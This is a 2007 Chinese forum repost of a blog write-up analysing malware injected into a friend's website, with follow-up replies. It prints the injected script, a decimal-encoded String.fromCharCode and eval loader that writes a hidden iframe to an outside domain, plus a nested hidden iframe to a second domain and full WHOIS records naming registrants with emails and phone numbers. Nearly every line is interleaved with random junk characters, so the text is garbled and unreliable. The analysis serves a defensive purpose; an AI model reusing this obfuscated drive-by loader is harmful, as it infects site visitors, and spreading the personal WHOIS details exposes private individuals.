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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, tk)}4b^\%j  
`9k\~D=D~  
http://www.areway.cn/?p=175 C?MKb D=K  
A/&u /?*C  
\acGSW .c  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ny!80I  
          ,-kz \N@.  
<script>t=’60,105,102,114,97,109,101, M04u>| ,  
32,115,114,99,61,104,116,116,112,58,47,47,  fOKAy'  
102,114,101,101,46,117,45,117,117,117,46,99, =*.S<Ko)  
110,47,101,114,114,111,114,46,104,116,109, /cVZ/"  
32,119,105,100,116,104,61,49,48,48,32,104, 0C3Y =F  
101,105,103,104,116,61,48,62,60,47,105,102, Q<DXDvL  
114,97,109,101,62′; i+Mg[x$.  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> g~(G P  
                                                                                                  asE.!g?  
<script>t=’60,105,102,114,97,109,101,32,115,  z).&0K  
114,99,61,104,116,116,112,58,47,47,102,114, QxuU3#l  
101,101,46,117,45,117,117,117,46,99,110,47, \F\xZ.r  
101,114,114,111,114,46,104,116,109,32,119, Gm> =s  
105,100,116,104,61,49,48,48,32,104,101,105, R&:Qy7"  
103,104,116,61,48,62,60,47,105,102,114,97, &|h9L'mr  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); nEP3B '+  
document.write(t);</script> _mQj=  
                                                                                                  /1m+iM^V  
<html xmlns=” E(z|LS*3  
http://www.w3.org/1999/xhtml  R7;X  
“> |Bv,*7i&  
<head> <[T{q |*  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> $VP\Ac,!  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> /Z~$`!J  
<title>首页 - 爱生活家庭网 VV#'d  
                                                                                                                                                    #)i+'L8  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 ' QjJ^3A  
转换字符串后的大概内容是(谁点击后果自付): XWX]/j2jA  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… DwK$c^2q{.  
                                                                                                                                  B/mfm 7  
查询玉米u-uuu.cn的详细信息: 4H@7t,>  
Domain Name: u-uuu.cn b7">IzAe  
ROID: 20070901s10001s64972306-cn Lo Y*,Aa&  
Domain Status: ok (=Oo=8\  
Registrant Organization: 王雷 pV!WZ Ufg  
Registrant Name: 王雷 2|(lKFkQ  
Administrative Email: czlovexs@126.com K@oyvJ$  
Sponsoring Registrar: 北京万网志成科技有限公司 }7K~-  
Name Server:ns.yovole.com [\%a7ji#  
Name Server:ns1.yovole.com }[PC YnS  
Registration Date: 2007-09-01 17:54 qP zxP @4  
Expiration Date: 2008-09-01 17:54 jK%Lewq  
最后PING了一下地址 都没有什么…. $"}[\>e*{  
                                                                                                _ /Eg_dQ~@  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. kY9$ M8b  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> >5TXLOYZ  
<script language=”javascript” src=” )4hA Fy6l  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script .81 ~ K[  
> :22wq{  
这个玉米应该有可能是木马作者的: %h;1}SFl0  
foafau.info的详细信息: TTWiwPo59  
Access to INFO WHOIS information is provided to assist persons in ``@e7~F{  
determining the contents of a domain name registration record in the )>iPx.hVSS  
Afilias registry database. The data in this record is provided by 'geN  dx  
Afilias Limited for informational purposes only, and Afilias does not / %F,  
guarantee its accuracy.  This service is intended only for query-based c+O:n:L  
access. You agree that you will use this data only for lawful purposes I]pz3!On4,  
and that, under no circumstances will you use this data to: (a) allow, |Ho} D~  
enable, or otherwise support the transmission by e-mail, telephone, or &' y}L'  
facsimile of mass unsolicited, commercial advertising or solicitations RSw; b.t7  
to entities other than the data recipient’s own existing customers; or 7osHKO<?2  
(b) enable high volume, automated, electronic processes that send K(?p]wh  
queries or data to the systems of Registry Operator, a Registrar, or kbbHa_;aqV  
Afilias except as reasonably necessary to register domain names or rt?*eC1b+Z  
modify existing registrations. All rights reserved. Afilias reserves aZ|S$-}  
the right to modify these terms at any time. By submitting this query, W[e2J&G  
you agree to abide by this policy. ?(}~[  
Domain ID:D22418703-LRMS h&!$ `)   
Domain Name:FOAFAU.INFO ^&c &5S}  
Created On:20-Nov-2007 16:05:42 UTC ~fzuz'"^  
Last Updated On:20-Nov-2007 16:05:44 UTC TN08 ,:k  
Expiration Date:20-Nov-2008 16:05:42 UTC F}@]Lq+  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) W@%g_V}C*  
Status:CLIENT DELETE PROHIBITED b&d4(dk  
Status:CLIENT RENEW PROHIBITED *iyc,f^w  
Status:CLIENT TRANSFER PROHIBITED jR+k x:+  
Status:CLIENT UPDATE PROHIBITED NSR][h_  
Status:TRANSFER PROHIBITED #BgiDLh  
Registrant ID:GODA-040110615 \JCpwNT{P  
Registrant Name:liu hong  H =&K_  
Registrant Organization: V^>< =DNE  
Registrant Street1:beijing Hq?dqg'%~  
Registrant Street2: g:6 `1C  
Registrant Street3: ;RQ}OCz9}8  
Registrant City:beijing sheCwhV  
Registrant State/Province: 64<*\z_  
Registrant Postal Code:100000 q$`>[&I~)  
Registrant Country:CN  9/I xh?  
Registrant Phone:+86.860108888777 Sw?EF8}[  
Registrant Phone Ext.: axK/YE7t  
Registrant FAX: [9F  
Registrant FAX Ext.: "5EL+z3v  
Registrant Email:bbbshiji@163.com 6?JvvS5  
Admin ID:GODA-240110615 q]s_hWWv  
Admin Name:liu hong 0xaK"\Q   
Admin Organization: [l7n "gJ~  
Admin Street1:beijing +Z=y/wY  
Admin Street2: f|3LeOyz  
Admin Street3: ~0}d=d5g  
Admin City:beijing 'e$8 IZm  
Admin State/Province: 2p58_^l  
Admin Postal Code:100000 o!c~"  
Admin Country:CN 'TA !JB+  
Admin Phone:+86.860108888777 pTncx%!W5  
Admin Phone Ext.: kjOkPp  
Admin FAX: ;hEeFJ=/G  
Admin FAX Ext.: 1F+JyZK}w  
Admin Email:bbbshiji@163.com )@=fGNDt  
Billing ID:GODA-340110615 4AF.KX7  
Billing Name:liu hong `joyHKZI.  
Billing Organization: ,s:viXk  
Billing Street1:beijing _NpxV'E  
Billing Street2: S&D8Rao5  
Billing Street3: N&|,!Cu  
Billing City:beijing SDk^fTV8x  
Billing State/Province: {M\n  
Billing Postal Code:100000 ,#%I$  
Billing Country:CN l|;]"&|_]c  
Billing Phone:+86.860108888777 VtGZB3  
Billing Phone Ext.: _?eT[!oO8  
Billing FAX: : JSuC  
Billing FAX Ext.: kE[R9RS!  
Billing Email:bbbshiji@163.com ,pVe@d'  
Tech ID:GODA-140110615 $H&:R&Us  
Tech Name:liu hong Pa$"c?QUy  
Tech Organization: ::-*~CH)  
Tech Street1:beijing g yT0h?xDt  
Tech Street2: ;Sp/N4+  
Tech Street3: Z.s0ddM s  
Tech City:beijing hf7[<I,jov  
Tech State/Province: +%K~HYN  
Tech Postal Code:100000 PSyUC#;  
Tech Country:CN rfr]bq5  
Tech Phone:+86.860108888777 ~)6EH`-  
Tech Phone Ext.: _g'x=VJF  
Tech FAX: l 3 jlKB  
Tech FAX Ext.: ,3!4 D^  
Tech Email:bbbshiji@163.com Q5sJ|]Bc  
Name Server:NS27.DOMAINCONTROL.COM yW"[}L h4  
Name Server:NS28.DOMAINCONTROL.COM FJT0lC  
Name Server: %'S[f  
Name Server: >&^jKfY  
Name Server: @3S:W2k  
Name Server: Nu'ox. V  
Name Server: p\.IP2+c  
Name Server: Nx E=^ v  
Name Server: QUh`kt(E  
Name Server: 6` Aw!&{  
Name Server: s%RG_"l  
Name Server: cIP%t pTW.  
Name Server: +*aC \4w  
                                                                                                          _1~pG)y$U  
接着下载每个文件里面的代码: Vjd>j; H  
一步一步看.. iO2jT+i  
wrsr U  
JC;&]S.  
Jje!*?&8X  
W! J@30  
7<Y aw,G  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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